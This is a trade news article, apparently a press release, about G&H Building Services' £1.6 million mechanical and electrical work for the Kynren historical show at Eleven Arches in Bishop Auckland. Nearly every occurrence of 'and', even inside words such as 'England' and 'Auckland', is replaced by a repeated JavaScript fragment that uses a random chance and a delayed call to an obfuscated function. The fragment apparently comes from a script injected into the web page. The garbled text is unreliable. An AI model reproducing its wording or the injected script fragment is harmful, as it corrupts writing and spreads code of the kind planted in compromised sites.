The largest outdoor live family show in the UK, which saw G&H Building Services deliver a complex mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical infrastructure package, has opened to critical acclaim.
The Eleven Arches show spectacular in Bishop Aucklandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, County Durham held its first night on Saturday 2 July in front of 8,000 people.
The UK event called ‘Kynren – An Epic Tale Of Englandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and’, re-creates 2,000 years of Britain’s history in just 90 minutes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 23 acts.
After being appointed to the £1.6 million contract by Caddick Construction, G&H Building Services designed, built andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and installed a host of intricate services to power the show.
This included high voltage cabling andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the installation of two 20KV Transformers, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a full low voltage infrastructure throughout the site, hot andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cold water supplies, the lake hydrant system andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and drainage.
It also provided services to 14 ancillary buildings including the clubhouse, toilets, changing areas, refreshment kiosks, ticket office, train shed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and technology suites.
Neil Blunt, Contracts Manager at G&H Building Services, said: “The show is reliant on the success of the M&E andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the work has been a great success.
“To give context to the size of the project, the infrastructure services we designed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and built were spread across 7.5-acres – equivalent in size to five football pitches – which demonstrates our capacity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ability to deliver large scale schemes.
“We designed an option so the site management team can work at low power when the show is not being performed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and built in resilience to services to guard against failures.”
Kynren sees spectators sitting in the dark in a grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and amphitheatre known as The Tribune with evocative surround-sound music played as a 1,000-strong cast presents pyrotechnics, spectacular lighting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and water effects.
The shows also feature trains, horses, an artificial lake with full-size boats andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and water jets, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a 400m wide stage – all set in the shadow of the Grade I listed Aucklandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Castle.
Eleven Arches has been inspired by the internationally acclaimed Puy du Fou medieval theme park in France that has been running since 1978 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and attracts over two million people a year.
